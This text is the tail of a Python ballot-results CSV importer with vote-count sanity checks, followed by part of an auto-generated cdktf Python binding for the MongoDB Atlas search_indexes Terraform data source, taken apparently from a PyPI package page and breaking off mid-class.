entity_id = None
try:
entity_id = int(line.id or 0)
except ValueError:
line_errors.append(_("Invalid id"))
else:
if entity_id not in entities and entity_id in EXPATS:
entity_id = 0
if entity_id in added_entity_ids:
line_errors.append(
_("${name} was found twice", mapping={'name': entity_id})
)
if entity_id and entity_id not in entities:
line_errors.append(
_("${name} is unknown", mapping={'name': entity_id})
)
else:
added_entity_ids.add(entity_id)
# Skip expats if not enabled
if entity_id == 0 and not vote.expats:
continue
# the yeas
try:
yeas = int(line.ja_stimmen or 0)
except ValueError:
line_errors.append(_("Could not read yeas"))
# the nays
try:
nays = int(line.nein_stimmen or 0)
except ValueError:
line_errors.append(_("Could not read nays"))
# the eligible voters
try:
eligible_voters = int(line.stimmberechtigte or 0)
except ValueError:
line_errors.append(_("Could not read the eligible voters"))
# the empty votes
try:
empty = int(line.leere_stimmzettel or 0)
except ValueError:
line_errors.append(_("Could not read the empty votes"))
# the invalid votes
try:
invalid = int(line.ungultige_stimmzettel or 0)
except ValueError:
line_errors.append(_("Could not read the invalid votes"))
# now let's do some sanity checks
try:
if not eligible_voters:
line_errors.append(_("No eligible voters"))
if (yeas + nays + empty + invalid) > eligible_voters:
line_errors.append(_("More cast votes than eligible voters"))
except UnboundLocalError:
pass
# pass the errors
if line_errors:
errors.extend(
FileImportError(
error=err, line=line.rownumber, filename=filename
)
for err in line_errors
)
continue
# all went well (only keep doing this as long as there are no errors)
if not errors:
entity = entities.get(entity_id, {})
ballot_results.append(
BallotResult(
name=entity.get('name', ''),
district=entity.get('district', ''),
counted=True,
yeas=yeas,
nays=nays,
eligible_voters=eligible_voters,
entity_id=entity_id,
empty=empty,
invalid=invalid
)
)
if not errors and not ballot_results and not skipped:
errors.append(FileImportError(_("No data found")))
if not errors:
# Add the missing entities as uncounted results
remaining = set(entities.keys())
if vote.expats:
remaining.add(0)
remaining -= added_entity_ids
for entity_id in remaining:
entity = entities.get(entity_id, {})
ballot_results.append(
BallotResult(
name=entity.get('name', ''),
district=entity.get('district', ''),
counted=False,
entity_id=entity_id
)
)
if errors:
return errors
if ballot_results:
vote.status = None
ballot.clear_results()
for result in ballot_results:
ballot.results.append(result)
return []
|
PypiClean
|
/cdktf_cdktf_provider_mongodbatlas-5.0.0-py3-none-any.whl/cdktf_cdktf_provider_mongodbatlas/data_mongodbatlas_search_indexes/__init__.py
|
import abc
import builtins
import datetime
import enum
import typing
import jsii
import publication
import typing_extensions
from typeguard import check_type
from .._jsii import *
import cdktf as _cdktf_9a9027ec
import constructs as _constructs_77d1e7e8
class DataMongodbatlasSearchIndexes(
_cdktf_9a9027ec.TerraformDataSource,
metaclass=jsii.JSIIMeta,
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexes",
):
'''Represents a {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes mongodbatlas_search_indexes}.'''
def __init__(
self,
scope: _constructs_77d1e7e8.Construct,
id_: builtins.str,
*,
cluster_name: builtins.str,
collection_name: builtins.str,
database: builtins.str,
project_id: builtins.str,
id: typing.Optional[builtins.str] = None,
items_per_page: typing.Optional[jsii.Number] = None,
page_num: typing.Optional[jsii.Number] = None,
connection: typing.Optional[typing.Union[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.WinrmProvisionerConnection, typing.Dict[builtins.str, typing.Any]]]] = None,
count: typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]] = None,
depends_on: typing.Optional[typing.Sequence[_cdktf_9a9027ec.ITerraformDependable]] = None,
for_each: typing.Optional[_cdktf_9a9027ec.ITerraformIterator] = None,
lifecycle: typing.Optional[typing.Union[_cdktf_9a9027ec.TerraformResourceLifecycle, typing.Dict[builtins.str, typing.Any]]] = None,
provider: typing.Optional[_cdktf_9a9027ec.TerraformProvider] = None,
provisioners: typing.Optional[typing.Sequence[typing.Union[typing.Union[_cdktf_9a9027ec.FileProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.LocalExecProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.RemoteExecProvisioner, typing.Dict[builtins.str, typing.Any]]]]] = None,
) -> None:
'''Create a new {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes mongodbatlas_search_indexes} Data Source.
:param scope: The scope in which to define this construct.
:param id_: The scoped construct ID. Must be unique amongst siblings in the same scope
:param cluster_name: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#cluster_name DataMongodbatlasSearchIndexes#cluster_name}.
:param collection_name: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#collection_name DataMongodbatlasSearchIndexes#collection_name}.
:param database: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#database DataMongodbatlasSearchIndexes#database}.
:param project_id: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#project_id DataMongodbatlasSearchIndexes#project_id}.
:param id: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#id DataMongodbatlasSearchIndexes#id}. Please be aware that the id field is automatically added to all resources in Terraform providers using a Terraform provider SDK version below 2. If you experience problems setting this value it might not be settable. Please take a look at the provider documentation to ensure it should be settable.
:param items_per_page: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#items_per_page DataMongodbatlasSearchIndexes#items_per_page}.
:param page_num: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#page_num DataMongodbatlasSearchIndexes#page_num}.
:param connection:
:param count:
:param depends_on:
:param for_each:
:param lifecycle:
:param provider:
:param provisioners:
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__ac004b383cd0907dfc7a4ab8eb0ab73a8f17957814b09faaeabc55dc065c260a)
check_type(argname="argument scope", value=scope, expected_type=type_hints["scope"])
check_type(argname="argument id_", value=id_, expected_type=type_hints["id_"])
config = DataMongodbatlasSearchIndexesConfig(
cluster_name=cluster_name,
collection_name=collection_name,
database=database,
project_id=project_id,
id=id,
items_per_page=items_per_page,
page_num=page_num,
connection=connection,
count=count,
depends_on=depends_on,
for_each=for_each,
lifecycle=lifecycle,
provider=provider,
provisioners=provisioners,
)
jsii.create(self.__class__, self, [scope, id_, config])
@jsii.member(jsii_name="resetId")
def reset_id(self) -> None:
return typing.cast(None, jsii.invoke(self, "resetId", []))
@jsii.member(jsii_name="resetItemsPerPage")
def reset_items_per_page(self) -> None:
return typing.cast(None, jsii.invoke(self, "resetItemsPerPage", []))
@jsii.member(jsii_name="resetPageNum")
def reset_page_num(self) -> None:
return typing.cast(None, jsii.invoke(self, "resetPageNum", []))
@jsii.member(jsii_name="synthesizeAttributes")
def _synthesize_attributes(self) -> typing.Mapping[builtins.str, typing.Any]:
return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "synthesizeAttributes", []))
@jsii.python.classproperty
@jsii.member(jsii_name="tfResourceType")
def TF_RESOURCE_TYPE(cls) -> builtins.str:
return typing.cast(builtins.str, jsii.sget(cls, "tfResourceType"))
@builtins.property
@jsii.member(jsii_name="results")
def results(self) -> "DataMongodbatlasSearchIndexesResultsList":
return typing.cast("DataMongodbatlasSearchIndexesResultsList", jsii.get(self, "results"))
@builtins.property
@jsii.member(jsii_name="totalCount")
def total_count(self) -> jsii.Number:
return typing.cast(jsii.Number, jsii.get(self, "totalCount"))
@builtins.property
@jsii.member(jsii_name="clusterNameInput")
def cluster_name_input(self) -> typing.Optional[builtins.str]:
return typing.cast(typing.Optional[builtins.str], jsii.get(self, "clusterNameInput"))
@builtins.property
@jsii.member(jsii_name="collectionNameInput")
def collection_name_input(self) -> typing.Optional[builtins.str]:
return typing.cast(typing.Optional[builtins.str], jsii.get(self, "collectionNameInput"))
@builtins.property
@jsii.member(jsii_name="databaseInput")
def database_input(self) -> typing.Optional[builtins.str]:
return typing.cast(typing.Optional[builtins.str], jsii.get(self, "databaseInput"))
@builtins.property
@jsii.member(jsii_name="idInput")
def id_input(self) -> typing.Optional[builtins.str]:
return typing.cast(typing.Optional[builtins.str], jsii.get(self, "idInput"))
@builtins.property
@jsii.member(jsii_name="itemsPerPageInput")
def items_per_page_input(self) -> typing.Optional[jsii.Number]:
return typing.cast(typing.Optional[jsii.Number], jsii.get(self, "itemsPerPageInput"))
@builtins.property
@jsii.member(jsii_name="pageNumInput")
def page_num_input(self) -> typing.Optional[jsii.Number]:
return typing.cast(typing.Optional[jsii.Number], jsii.get(self, "pageNumInput"))
@builtins.property
@jsii.member(jsii_name="projectIdInput")
def project_id_input(self) -> typing.Optional[builtins.str]:
return typing.cast(typing.Optional[builtins.str], jsii.get(self, "projectIdInput"))
@builtins.property
@jsii.member(jsii_name="clusterName")
def cluster_name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "clusterName"))
@cluster_name.setter
def cluster_name(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__27656a03e92c2ee3c9830423152099f31083b3a27a99663caa43f6f6b801e135)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "clusterName", value)
@builtins.property
@jsii.member(jsii_name="collectionName")
def collection_name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "collectionName"))
@collection_name.setter
def collection_name(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__bc010c9b1f59352cb262f818b05d998e3efe2f0fb672f5fc3fccb99d46481893)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "collectionName", value)
@builtins.property
@jsii.member(jsii_name="database")
def database(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "database"))
@database.setter
def database(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__e89cbc457eb6864f92977250a74efd4804311219a54847da09097d1ea2d38f9d)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "database", value)
@builtins.property
@jsii.member(jsii_name="id")
def id(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "id"))
@id.setter
def id(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__57a5d3fc12f716700259f2e6b699125df0d5129833d702c384313d75d093499c)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "id", value)
@builtins.property
@jsii.member(jsii_name="itemsPerPage")
def items_per_page(self) -> jsii.Number:
return typing.cast(jsii.Number, jsii.get(self, "itemsPerPage"))
@items_per_page.setter
def items_per_page(self, value: jsii.Number) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__1eb1336a0a9cb24da0aa13b8bd34f2eee5cf12eb16879fa50e0072e0e9456594)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "itemsPerPage", value)
@builtins.property
@jsii.member(jsii_name="pageNum")
def page_num(self) -> jsii.Number:
return typing.cast(jsii.Number, jsii.get(self, "pageNum"))
@page_num.setter
def page_num(self, value: jsii.Number) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__df3611ca3a10fcfe4f303564e3bb2d74ae065da56b6e78e9e7dc67d423d4b2c4)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "pageNum", value)
@builtins.property
@jsii.member(jsii_name="projectId")
def project_id(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "projectId"))
@project_id.setter
def project_id(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__4782383d2f77bbf8cb9ffd34ff9ba15d4bfbb158abfebb47445c4dc48f4e8c69)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "projectId", value)
@jsii.data_type(
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesConfig",
jsii_struct_bases=[_cdktf_9a9027ec.TerraformMetaArguments],
name_mapping={
"connection": "connection",
"count": "count",
"depends_on": "dependsOn",
"for_each": "forEach",
"lifecycle": "lifecycle",
"provider": "provider",
"provisioners": "provisioners",
"cluster_name": "clusterName",
"collection_name": "collectionName",
"database": "database",
"project_id": "projectId",
"id": "id",
"items_per_page": "itemsPerPage",
"page_num": "pageNum",
},
)
class DataMongodbatlasSearchIndexesConfig(_cdktf_9a9027ec.TerraformMetaArguments):
def __init__(
self,
*,
connection: typing.Optional[typing.Union[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.WinrmProvisionerConnection, typing.Dict[builtins.str, typing.Any]]]] = None,
count: typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]] = None,
depends_on: typing.Optional[typing.Sequence[_cdktf_9a9027ec.ITerraformDependable]] = None,
for_each: typing.Optional[_cdktf_9a9027ec.ITerraformIterator] = None,
lifecycle: typing.Optional[typing.Union[_cdktf_9a9027ec.TerraformResourceLifecycle, typing.Dict[builtins.str, typing.Any]]] = None,
provider: typing.Optional[_cdktf_9a9027ec.TerraformProvider] = None,
provisioners: typing.Optional[typing.Sequence[typing.Union[typing.Union[_cdktf_9a9027ec.FileProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.LocalExecProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.RemoteExecProvisioner, typing.Dict[builtins.str, typing.Any]]]]] = None,
cluster_name: builtins.str,
collection_name: builtins.str,
database: builtins.str,
project_id: builtins.str,
id: typing.Optional[builtins.str] = None,
items_per_page: typing.Optional[jsii.Number] = None,
page_num: typing.Optional[jsii.Number] = None,
) -> None:
'''
:param connection:
:param count:
:param depends_on:
:param for_each:
:param lifecycle:
:param provider:
:param provisioners:
:param cluster_name: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#cluster_name DataMongodbatlasSearchIndexes#cluster_name}.
:param collection_name: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#collection_name DataMongodbatlasSearchIndexes#collection_name}.
:param database: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#database DataMongodbatlasSearchIndexes#database}.
:param project_id: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#project_id DataMongodbatlasSearchIndexes#project_id}.
:param id: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#id DataMongodbatlasSearchIndexes#id}. Please be aware that the id field is automatically added to all resources in Terraform providers using a Terraform provider SDK version below 2. If you experience problems setting this value it might not be settable. Please take a look at the provider documentation to ensure it should be settable.
:param items_per_page: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#items_per_page DataMongodbatlasSearchIndexes#items_per_page}.
:param page_num: Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#page_num DataMongodbatlasSearchIndexes#page_num}.
'''
if isinstance(lifecycle, dict):
lifecycle = _cdktf_9a9027ec.TerraformResourceLifecycle(**lifecycle)
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__646d0b92e3b246bb3a6906a68e5f812dcc045bf06ba6bacb96f037436ac289cd)
check_type(argname="argument connection", value=connection, expected_type=type_hints["connection"])
check_type(argname="argument count", value=count, expected_type=type_hints["count"])
check_type(argname="argument depends_on", value=depends_on, expected_type=type_hints["depends_on"])
check_type(argname="argument for_each", value=for_each, expected_type=type_hints["for_each"])
check_type(argname="argument lifecycle", value=lifecycle, expected_type=type_hints["lifecycle"])
check_type(argname="argument provider", value=provider, expected_type=type_hints["provider"])
check_type(argname="argument provisioners", value=provisioners, expected_type=type_hints["provisioners"])
check_type(argname="argument cluster_name", value=cluster_name, expected_type=type_hints["cluster_name"])
check_type(argname="argument collection_name", value=collection_name, expected_type=type_hints["collection_name"])
check_type(argname="argument database", value=database, expected_type=type_hints["database"])
check_type(argname="argument project_id", value=project_id, expected_type=type_hints["project_id"])
check_type(argname="argument id", value=id, expected_type=type_hints["id"])
check_type(argname="argument items_per_page", value=items_per_page, expected_type=type_hints["items_per_page"])
check_type(argname="argument page_num", value=page_num, expected_type=type_hints["page_num"])
self._values: typing.Dict[builtins.str, typing.Any] = {
"cluster_name": cluster_name,
"collection_name": collection_name,
"database": database,
"project_id": project_id,
}
if connection is not None:
self._values["connection"] = connection
if count is not None:
self._values["count"] = count
if depends_on is not None:
self._values["depends_on"] = depends_on
if for_each is not None:
self._values["for_each"] = for_each
if lifecycle is not None:
self._values["lifecycle"] = lifecycle
if provider is not None:
self._values["provider"] = provider
if provisioners is not None:
self._values["provisioners"] = provisioners
if id is not None:
self._values["id"] = id
if items_per_page is not None:
self._values["items_per_page"] = items_per_page
if page_num is not None:
self._values["page_num"] = page_num
@builtins.property
def connection(
self,
) -> typing.Optional[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, _cdktf_9a9027ec.WinrmProvisionerConnection]]:
'''
:stability: experimental
'''
result = self._values.get("connection")
return typing.cast(typing.Optional[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, _cdktf_9a9027ec.WinrmProvisionerConnection]], result)
@builtins.property
def count(
self,
) -> typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]]:
'''
:stability: experimental
'''
result = self._values.get("count")
return typing.cast(typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]], result)
@builtins.property
def depends_on(
self,
) -> typing.Optional[typing.List[_cdktf_9a9027ec.ITerraformDependable]]:
'''
:stability: experimental
'''
result = self._values.get("depends_on")
return typing.cast(typing.Optional[typing.List[_cdktf_9a9027ec.ITerraformDependable]], result)
@builtins.property
def for_each(self) -> typing.Optional[_cdktf_9a9027ec.ITerraformIterator]:
'''
:stability: experimental
'''
result = self._values.get("for_each")
return typing.cast(typing.Optional[_cdktf_9a9027ec.ITerraformIterator], result)
@builtins.property
def lifecycle(self) -> typing.Optional[_cdktf_9a9027ec.TerraformResourceLifecycle]:
'''
:stability: experimental
'''
result = self._values.get("lifecycle")
return typing.cast(typing.Optional[_cdktf_9a9027ec.TerraformResourceLifecycle], result)
@builtins.property
def provider(self) -> typing.Optional[_cdktf_9a9027ec.TerraformProvider]:
'''
:stability: experimental
'''
result = self._values.get("provider")
return typing.cast(typing.Optional[_cdktf_9a9027ec.TerraformProvider], result)
@builtins.property
def provisioners(
self,
) -> typing.Optional[typing.List[typing.Union[_cdktf_9a9027ec.FileProvisioner, _cdktf_9a9027ec.LocalExecProvisioner, _cdktf_9a9027ec.RemoteExecProvisioner]]]:
'''
:stability: experimental
'''
result = self._values.get("provisioners")
return typing.cast(typing.Optional[typing.List[typing.Union[_cdktf_9a9027ec.FileProvisioner, _cdktf_9a9027ec.LocalExecProvisioner, _cdktf_9a9027ec.RemoteExecProvisioner]]], result)
@builtins.property
def cluster_name(self) -> builtins.str:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#cluster_name DataMongodbatlasSearchIndexes#cluster_name}.'''
result = self._values.get("cluster_name")
assert result is not None, "Required property 'cluster_name' is missing"
return typing.cast(builtins.str, result)
@builtins.property
def collection_name(self) -> builtins.str:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#collection_name DataMongodbatlasSearchIndexes#collection_name}.'''
result = self._values.get("collection_name")
assert result is not None, "Required property 'collection_name' is missing"
return typing.cast(builtins.str, result)
@builtins.property
def database(self) -> builtins.str:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#database DataMongodbatlasSearchIndexes#database}.'''
result = self._values.get("database")
assert result is not None, "Required property 'database' is missing"
return typing.cast(builtins.str, result)
@builtins.property
def project_id(self) -> builtins.str:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#project_id DataMongodbatlasSearchIndexes#project_id}.'''
result = self._values.get("project_id")
assert result is not None, "Required property 'project_id' is missing"
return typing.cast(builtins.str, result)
@builtins.property
def id(self) -> typing.Optional[builtins.str]:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#id DataMongodbatlasSearchIndexes#id}.
Please be aware that the id field is automatically added to all resources in Terraform providers using a Terraform provider SDK version below 2.
If you experience problems setting this value it might not be settable. Please take a look at the provider documentation to ensure it should be settable.
'''
result = self._values.get("id")
return typing.cast(typing.Optional[builtins.str], result)
@builtins.property
def items_per_page(self) -> typing.Optional[jsii.Number]:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#items_per_page DataMongodbatlasSearchIndexes#items_per_page}.'''
result = self._values.get("items_per_page")
return typing.cast(typing.Optional[jsii.Number], result)
@builtins.property
def page_num(self) -> typing.Optional[jsii.Number]:
'''Docs at Terraform Registry: {@link https://registry.terraform.io/providers/mongodb/mongodbatlas/1.11.0/docs/data-sources/search_indexes#page_num DataMongodbatlasSearchIndexes#page_num}.'''
result = self._values.get("page_num")
return typing.cast(typing.Optional[jsii.Number], result)
def __eq__(self, rhs: typing.Any) -> builtins.bool:
return isinstance(rhs, self.__class__) and rhs._values == self._values
def __ne__(self, rhs: typing.Any) -> builtins.bool:
return not (rhs == self)
def __repr__(self) -> str:
return "DataMongodbatlasSearchIndexesConfig(%s)" % ", ".join(
k + "=" + repr(v) for k, v in self._values.items()
)
@jsii.data_type(
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResults",
jsii_struct_bases=[],
name_mapping={},
)
class DataMongodbatlasSearchIndexesResults:
def __init__(self) -> None:
self._values: typing.Dict[builtins.str, typing.Any] = {}
def __eq__(self, rhs: typing.Any) -> builtins.bool:
return isinstance(rhs, self.__class__) and rhs._values == self._values
def __ne__(self, rhs: typing.Any) -> builtins.bool:
return not (rhs == self)
def __repr__(self) -> str:
return "DataMongodbatlasSearchIndexesResults(%s)" % ", ".join(
k + "=" + repr(v) for k, v in self._values.items()
)
class DataMongodbatlasSearchIndexesResultsList(
_cdktf_9a9027ec.ComplexList,
metaclass=jsii.JSIIMeta,
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResultsList",
):
def __init__(
self,
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
wraps_set: builtins.bool,
) -> None:
'''
:param terraform_resource: The parent resource.
:param terraform_attribute: The attribute on the parent resource this class is referencing.
:param wraps_set: whether the list is wrapping a set (will add tolist() to be able to access an item via an index).
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__9692b38633b3061dbfbc55a11f16a13bfa85c7f571be104c09f27838e5915055)
check_type(argname="argument terraform_resource", value=terraform_resource, expected_type=type_hints["terraform_resource"])
check_type(argname="argument terraform_attribute", value=terraform_attribute, expected_type=type_hints["terraform_attribute"])
check_type(argname="argument wraps_set", value=wraps_set, expected_type=type_hints["wraps_set"])
jsii.create(self.__class__, self, [terraform_resource, terraform_attribute, wraps_set])
@jsii.member(jsii_name="get")
def get(
self,
index: jsii.Number,
) -> "DataMongodbatlasSearchIndexesResultsOutputReference":
'''
:param index: the index of the item to return.
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__7440754e3d30d9d16eaab6401e6473b1c51c0d77f9a8cde112bc028888c74700)
check_type(argname="argument index", value=index, expected_type=type_hints["index"])
return typing.cast("DataMongodbatlasSearchIndexesResultsOutputReference", jsii.invoke(self, "get", [index]))
@builtins.property
@jsii.member(jsii_name="terraformAttribute")
def _terraform_attribute(self) -> builtins.str:
'''The attribute on the parent resource this class is referencing.'''
return typing.cast(builtins.str, jsii.get(self, "terraformAttribute"))
@_terraform_attribute.setter
def _terraform_attribute(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__859a4ff04055a0530dfccb418d22014189f60249aab8b7128184473b8c16b3b3)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "terraformAttribute", value)
@builtins.property
@jsii.member(jsii_name="terraformResource")
def _terraform_resource(self) -> _cdktf_9a9027ec.IInterpolatingParent:
'''The parent resource.'''
return typing.cast(_cdktf_9a9027ec.IInterpolatingParent, jsii.get(self, "terraformResource"))
@_terraform_resource.setter
def _terraform_resource(self, value: _cdktf_9a9027ec.IInterpolatingParent) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__569400fd8642a4aabc977d8cd83cea7fc5c02f99ed61f6c047f66458e54b2e8d)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "terraformResource", value)
@builtins.property
@jsii.member(jsii_name="wrapsSet")
def _wraps_set(self) -> builtins.bool:
'''whether the list is wrapping a set (will add tolist() to be able to access an item via an index).'''
return typing.cast(builtins.bool, jsii.get(self, "wrapsSet"))
@_wraps_set.setter
def _wraps_set(self, value: builtins.bool) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__81b73364902de2631a8ad2ef2d01c4f0a0205d258e0948ccba52dae3451c284b)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "wrapsSet", value)
class DataMongodbatlasSearchIndexesResultsOutputReference(
_cdktf_9a9027ec.ComplexObject,
metaclass=jsii.JSIIMeta,
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResultsOutputReference",
):
def __init__(
self,
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
complex_object_index: jsii.Number,
complex_object_is_from_set: builtins.bool,
) -> None:
'''
:param terraform_resource: The parent resource.
:param terraform_attribute: The attribute on the parent resource this class is referencing.
:param complex_object_index: the index of this item in the list.
:param complex_object_is_from_set: whether the list is wrapping a set (will add tolist() to be able to access an item via an index).
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__ed203ddfaf52f4515da1d79f7acc3bbdbf5545c2ed48743d4b05426090cb4d20)
check_type(argname="argument terraform_resource", value=terraform_resource, expected_type=type_hints["terraform_resource"])
check_type(argname="argument terraform_attribute", value=terraform_attribute, expected_type=type_hints["terraform_attribute"])
check_type(argname="argument complex_object_index", value=complex_object_index, expected_type=type_hints["complex_object_index"])
check_type(argname="argument complex_object_is_from_set", value=complex_object_is_from_set, expected_type=type_hints["complex_object_is_from_set"])
jsii.create(self.__class__, self, [terraform_resource, terraform_attribute, complex_object_index, complex_object_is_from_set])
@builtins.property
@jsii.member(jsii_name="analyzer")
def analyzer(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "analyzer"))
@builtins.property
@jsii.member(jsii_name="analyzers")
def analyzers(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "analyzers"))
@builtins.property
@jsii.member(jsii_name="clusterName")
def cluster_name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "clusterName"))
@builtins.property
@jsii.member(jsii_name="collectionName")
def collection_name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "collectionName"))
@builtins.property
@jsii.member(jsii_name="database")
def database(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "database"))
@builtins.property
@jsii.member(jsii_name="indexId")
def index_id(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "indexId"))
@builtins.property
@jsii.member(jsii_name="mappingsDynamic")
def mappings_dynamic(self) -> _cdktf_9a9027ec.IResolvable:
return typing.cast(_cdktf_9a9027ec.IResolvable, jsii.get(self, "mappingsDynamic"))
@builtins.property
@jsii.member(jsii_name="mappingsFields")
def mappings_fields(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "mappingsFields"))
@builtins.property
@jsii.member(jsii_name="name")
def name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "name"))
@builtins.property
@jsii.member(jsii_name="projectId")
def project_id(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "projectId"))
@builtins.property
@jsii.member(jsii_name="searchAnalyzer")
def search_analyzer(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "searchAnalyzer"))
@builtins.property
@jsii.member(jsii_name="status")
def status(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "status"))
@builtins.property
@jsii.member(jsii_name="synonyms")
def synonyms(self) -> "DataMongodbatlasSearchIndexesResultsSynonymsList":
return typing.cast("DataMongodbatlasSearchIndexesResultsSynonymsList", jsii.get(self, "synonyms"))
@builtins.property
@jsii.member(jsii_name="waitForIndexBuildCompletion")
def wait_for_index_build_completion(self) -> _cdktf_9a9027ec.IResolvable:
